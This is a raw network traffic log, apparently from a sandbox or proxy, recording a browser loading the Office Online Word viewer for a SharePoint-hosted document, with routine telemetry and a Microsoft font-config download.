Origin-Agent-Cluster: ?1 X-OfficeFE: LN2PEPF0000BE33 X-OfficeVersion: 16.0.17730.41010 X-OfficeCluster: GUK5 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff Content-Security-Policy-Report-Only: font-src data: 'self' res-1.cdn.office.net .skype.com .skypeassets.com .msocdn.com sway.com .sway-cdn.com sway-cdn.com .sharepointonline.com spoprod-a.akamaihd.net .azureedge.net fs.microsoft.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net https:; script-src 'self' 'unsafe-inline' 'unsafe-eval' res-1.cdn.office.net uci.officeapps.live.com cdn.uci.edog.officeapps.live.com cdn.uci.officeapps.live.com uci.edog.cdn.office.net uci.cdn.office.net .skype.com .skypeassets.com .msocdn.com js.live.net appsforoffice.microsoft.com contentstorage.osi.office.net .growth.office.net .rt.microsoft.com res-prod.cdn.office.net res.cdn.office.net messaging.office.com messaging.growth.office.com messaging.action.office.com messaging.engagement.office.com content.lifecycle.office.net www.microsoft.com pmservices.cp.microso [TRUNCATED] Document-Policy: js-profiling Reporting-Endpoints: default="https://ukc-word-view.officeapps.live.com/wv/BrowserReportingHandler.ashx" server-timing: prerender;dur=24,render;dur=1,total;dur=25 X-OFFICEFD: LN2PEPF0000BE33 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_excelslice_control,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest X-MSEdge-Ref: Ref A: 42D907460BC74306B08C4B80DE77229F Ref B: DFW311000104029 Ref C: 2024-06-05T14:16:31Z Date: Wed, 05 Jun 2024 14:16:31 GMT Connection: close
2024-06-05 14:16:31 UTC	506	IN	Data Raw: 31 66 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 20 69 64 3d 22 48 65 61 64 31 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 39 39 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 76 61 72 20 67 5f 66 69 72 73 74 42 79 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 20 66 75 6e 63 74 69 6f 6e 20 68 69 67 68 52 65 73 54 69 6d 65 53 74 61 6d 70 28 29 20 7b Data Ascii: 1f3<!DOCTYPE html><html><head id="Head1"><meta http-equiv="X-UA-Compatible" content="IE=99" /><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><script type="text/javascript"> var g_firstByte = new Date(); function highResTimeStamp() {
2024-06-05 14:16:31 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 67 5f 66 69 72 73 74 42 79 74 65 22 29 3b 20 76 61 72 20 67 5f 63 73 73 4c 54 3b 20 76 61 72 20 67 5f 6a 73 4c 54 3b 20 76 61 72 20 67 5f 62 6f 6f 74 53 63 72 69 70 74 73 53 74 61 72 74 54 69 6d 65 3b 20 76 61 72 20 67 5f 62 6f 6f 74 53 63 72 69 70 74 73 45 6e 64 54 69 6d 65 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 21 5b 69 66 20 67 74 65 20 49 45 20 38 5d 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 23 6c 6f 61 64 5f 62 61 63 6b 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 70 61 63 69 74 79 3a 31 2e 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 35 30 3b 74 65 78 74 2d 61 6c Data Ascii: 2000g_firstByte"); var g_cssLT; var g_jsLT; var g_bootScriptsStartTime; var g_bootScriptsEndTime; </script><![if gte IE 8]><style type="text/css"> #load_back{width:100%;height:100%;opacity:1.0;background-color:#fff;position:absolute;z-index:1050;text-al
2024-06-05 14:16:31 UTC	4152	IN	Data Raw: 31 30 33 30 0d 0a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 74 79 70 65 3a 22 42 5f 42 22 2c 70 61 79 6c 6f 61 64 4a 73 6f 6e 3a 69 7d 29 3a 69 3b 6e 2e 73 65 6e 64 28 72 29 3b 5f 62 42 2e 70 51 2e 6c 65 6e 67 74 68 3d 30 7d 65 6c 73 65 20 6e 2e 73 65 6e 64 28 29 7d 3b 5f 62 42 2e 72 53 43 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 62 42 2e 72 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 34 26 26 5f 62 42 2e 63 52 28 29 7d 3b 5f 62 42 2e 63 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 62 42 2e 77 46 52 3d 21 31 3b 5f 62 42 2e 70 51 2e 6c 65 6e 67 74 68 3e 30 26 26 5f 62 42 2e 73 42 52 28 5f 62 42 2e 72 2c 21 31 29 7d 3b 5f 62 42 2e 73 65 6e 64 53 65 73 73 69 6f 6e 45 78 69 74 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 62 42 2e 73 65 6e 64 42 65 61 63 6f 6e 28 Data Ascii: 1030JSON.stringify({type:"B_B",payloadJson:i}):i;n.send(r);_bB.pQ.length=0}else n.send()};_bB.rSC=function(){_bB.r.readyState==4&&_bB.cR()};_bB.cR=function(){_bB.wFR=!1;_bB.pQ.length>0&&_bB.sBR(_bB.r,!1)};_bB.sendSessionExited=function(){_bB.sendBeacon(
2024-06-05 14:16:31 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 62 36 34 30 64 38 38 64 36 64 32 66 34 61 65 2f 77 6f 72 64 76 69 65 77 65 72 2e 6d 69 6e 2e 63 73 73 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 3a 34 34 33 2f 6f 66 66 69 63 65 6f 6e 6c 69 6e 65 2f 68 61 73 68 65 64 2f 64 62 36 34 30 64 38 38 64 36 64 32 66 34 61 65 2f 77 6f 72 64 76 69 65 77 65 72 2e 6d 69 6e 2e 63 73 73 27 20 6f 6e 6c 6f 61 64 3d 22 67 5f 63 73 73 4c 54 3d 6e 65 77 20 44 61 74 65 28 29 3b 22 20 6f 6e 65 72 72 6f 72 3d 22 5f 62 42 2e 73 65 6e 64 52 44 46 4b 70 69 28 27 68 74 74 70 73 3a 2f 2f 72 65 73 2d Data Ascii: 2000b640d88d6d2f4ae/wordviewer.min.css");</script><link rel='stylesheet' type='text/css' href='https://res-1.cdn.office.net:443/officeonline/hashed/db640d88d6d2f4ae/wordviewer.min.css' onload="g_cssLT=new Date();" onerror="_bB.sendRDFKpi('https://res-
2024-06-05 14:16:31 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 65 72 20 2e 53 61 76 65 53 74 61 74 75 73 2d 31 33 37 7b 63 6f 6c 6f 72 3a 23 36 31 36 31 36 31 7d 2e 56 4e 65 78 74 48 65 61 64 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 44 61 72 6b 4d 6f 64 65 20 2e 53 61 76 65 53 74 61 74 75 73 2d 31 33 37 7b 63 6f 6c 6f 72 3a 23 61 64 61 64 61 64 7d 2e 73 65 61 72 63 68 42 6f 78 43 6f 6e 74 61 69 6e 65 72 2d 31 33 38 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 63 61 6c 63 28 35 30 76 77 20 2b 20 32 33 30 70 78 29 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 35 70 78 29 7b 2e 73 65 61 72 63 68 42 6f 78 43 6f 6e 74 Data Ascii: 2000er .SaveStatus-137{color:#616161}.VNextHeaderPlaceholderDarkMode .SaveStatus-137{color:#adadad}.searchBoxContainer-138{width:100%;max-width:calc(50vw + 230px);box-sizing:border-box;display:flex}@media only screen and (max-width:605px){.searchBoxCont
2024-06-05 14:16:31 UTC	8016	IN	Data Raw: 31 66 34 38 0d 0a 39 34 31 2e 37 35 38 20 32 2e 32 39 32 20 32 2e 32 39 32 20 30 20 30 20 31 2d 31 2e 38 33 38 37 39 2d 2e 37 37 32 32 34 20 33 2e 32 38 33 32 34 20 33 2e 32 38 33 32 34 20 30 20 30 20 31 2d 2e 36 36 30 37 39 2d 32 2e 31 38 32 36 38 20 33 2e 34 31 31 33 39 20 33 2e 34 31 31 33 39 20 30 20 30 20 31 20 2e 36 36 30 37 39 2d 32 2e 32 33 39 36 20 32 2e 32 35 36 31 37 20 32 2e 32 35 36 31 37 20 30 20 30 20 31 20 31 2e 38 32 31 33 35 2d 2e 37 38 35 20 32 2e 32 32 31 39 20 32 2e 32 32 31 39 20 30 20 30 20 31 20 31 2e 37 37 33 34 39 2e 37 35 30 36 33 20 33 2e 33 34 32 32 31 20 33 2e 33 34 32 32 31 20 30 20 30 20 31 20 2e 36 34 37 32 39 20 32 2e 32 32 31 34 35 20 33 2e 35 36 34 34 38 20 33 2e 35 36 34 34 38 20 30 20 30 20 31 2d 2e 36 30 39 32 34 20 Data Ascii: 1f48941.758 2.292 2.292 0 0 1-1.83879-.77224 3.28324 3.28324 0 0 1-.66079-2.18268 3.41139 3.41139 0 0 1 .66079-2.2396 2.25617 2.25617 0 0 1 1.82135-.785 2.2219 2.2219 0 0 1 1.77349.75063 3.34221 3.34221 0 0 1 .64729 2.22145 3.56448 3.56448 0 0 1-.60924
2024-06-05 14:16:31 UTC	4046	IN	Data Raw: 66 63 37 0d 0a 3c 64 69 76 20 69 64 3d 22 46 69 72 73 74 50 61 67 65 43 6f 6e 74 61 69 6e 65 72 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 70 78 3b 62 6f 74 74 6f 6d 3a 32 34 70 78 3b 7a 2d 69 6e 64 65 78 3a 39 30 30 3b 68 65 69 67 68 74 3a 31 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 38 38 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 39 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 39 70 78 3b 72 69 67 68 74 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 22 3e 0d 0a 09 3c 69 6d 67 20 73 72 63 3d 22 52 65 73 52 65 61 64 65 72 2e 61 73 68 78 3f 6e 3d 70 31 2e 69 6d 67 26 57 4f 50 49 73 72 63 3d 68 74 74 70 73 25 33 41 25 Data Ascii: fc7<div id="FirstPageContainer" style="left:0;text-align:center;width:1px;bottom:24px;z-index:900;height:1px;position:absolute;top:88px;padding-right:29px;padding-left:29px;right:0;overflow:hidden;"><img src="ResReader.ashx?n=p1.img&WOPIsrc=https%3A%
2024-06-05 14:16:31 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2d 35 30 20 71 20 31 30 20 2d 32 33 20 32 38 20 2d 34 31 20 71 20 31 37 20 2d 31 37 20 34 31 20 2d 32 37 20 71 20 32 33 20 2d 31 30 20 34 39 20 2d 31 30 20 68 20 31 34 30 38 20 71 20 32 36 20 30 20 35 30 20 31 30 20 71 20 32 33 20 31 30 20 34 31 20 32 37 20 71 20 31 37 20 31 38 20 32 37 20 34 31 20 71 20 31 30 20 32 34 20 31 30 20 35 30 20 76 20 31 37 39 32 20 71 20 30 20 32 36 20 2d 31 30 20 34 39 20 71 20 2d 31 30 20 32 34 20 2d 32 37 20 34 31 20 71 20 2d 31 38 20 31 38 20 2d 34 31 20 32 38 20 71 20 2d 32 34 20 31 30 20 2d 35 30 20 31 30 20 68 20 2d 31 34 30 38 20 71 20 2d 32 36 20 30 20 2d 34 39 20 2d 31 30 20 71 20 2d 32 34 20 2d 31 30 20 2d 34 31 20 2d 32 38 20 71 20 2d 31 38 20 2d 31 37 20 2d 32 38 20 2d 34 31 20 71 20 2d 31 30 20 Data Ascii: 2000-50 q 10 -23 28 -41 q 17 -17 41 -27 q 23 -10 49 -10 h 1408 q 26 0 50 10 q 23 10 41 27 q 17 18 27 41 q 10 24 10 50 v 1792 q 0 26 -10 49 q -10 24 -27 41 q -18 18 -41 28 q -24 10 -50 10 h -1408 q -26 0 -49 -10 q -24 -10 -41 -28 q -18 -17 -28 -41 q -10
2024-06-05 14:16:31 UTC	4154	IN	Data Raw: 31 30 33 32 0d 0a 64 43 6f 6d 70 6c 69 61 6e 63 65 52 65 67 69 6f 6e 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 75 6b 63 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 41 70 70 6c 69 63 61 74 69 6f 6e 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 57 6f 72 64 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 41 70 70 6c 69 63 61 74 69 6f 6e 4d 6f 64 65 45 78 74 65 6e 64 65 64 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 56 49 45 57 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 41 70 70 6c 69 63 61 74 69 6f 6e 4d 6f 64 65 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 56 69 65 77 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 55 73 65 72 53 65 73 73 69 6f 6e 41 70 70 6c 69 63 61 74 69 6f 6e 4d 6f 64 65 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 56 69 65 77 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 48 6f 73 74 5c 75 30 30 Data Ascii: 1032dComplianceRegion\u0022:\u0022ukc\u0022,\u0022Application\u0022:\u0022Word\u0022,\u0022ApplicationModeExtended\u0022:\u0022VIEW\u0022,\u0022ApplicationMode\u0022:\u0022View\u0022,\u0022UserSessionApplicationMode\u0022:\u0022View\u0022,\u0022Host\u00

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:31 UTC	764	OUT	POST /suite/RemoteUls.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&officeserverversion=20240522.3 HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 630 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://midlandlangarsevasociety-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://midlandlangarsevasociety-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-05 14:16:31 UTC	630	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 37 35 39 36 39 38 39 39 31 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 37 36 35 37 38 35 38 34 2c 22 54 22 3a 37 2c 22 4d 22 3a 22 4c 65 61 6e 20 55 69 20 48 6f 73 74 3a 20 62 6f 6f 74 41 70 70 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 36 31 38 32 30 34 38 2c 22 54 22 3a 39 2c 22 4d 22 3a 22 42 6f 6f 74 41 70 70 3a 20 4c 6f 61 64 20 64 6f 63 75 6d 65 6e 74 20 72 65 74 75 72 6e 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 33 37 32 36 32 38 35 2c 22 54 22 3a 31 30 2c 22 4d 22 3a 22 47 65 74 57 6f 70 69 44 61 74 61 3a 20 46 65 74 63 68 65 64 20 64 6f 63 75 6d 65 6e 74 49 64 65 6e 74 69 66 69 65 72 2e 20 5b 49 73 56 61 6c 69 64 3a 20 74 72 75 65 5d 22 2c 22 43 22 3a Data Ascii: {"T":1717596989912,"L":[{"G":576578584,"T":7,"M":"Lean Ui Host: bootApp","C":3027,"D":50},{"G":546182048,"T":9,"M":"BootApp: Load document returned","C":3027,"D":50},{"G":553726285,"T":10,"M":"GetWopiData: Fetched documentIdentifier. [IsValid: true]","C":
2024-06-05 14:16:31 UTC	4389	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS11-ARRAffinity=594531e3cb388139661df6ac4119941c8e27b942c6e309b5267a56aa16e8d7d7;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: 49e340f3-1019-406a-aa16-6d813f3cb83b X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00012CF5 X-OfficeVersion: 16.0.17717.41001 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://midlandlangarsevasociety-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 91BBA7025652F089D083D4D7B9FF110861C4E9EE X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6112080,6375195,6572226,6948167,7369243,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38884163,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00013BF3 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 543E297F5F0B4836884B6B53E4AB45FA Ref B: DFW311000104029 Ref C: 2024-06-05T14:16:31Z Date: Wed, 05 Jun 2024 14:16:31 GMT Connection: close Content-Length: 0

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:31 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-05 14:16:32 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=179556 Date: Wed, 05 Jun 2024 14:16:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-06-05 14:16:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}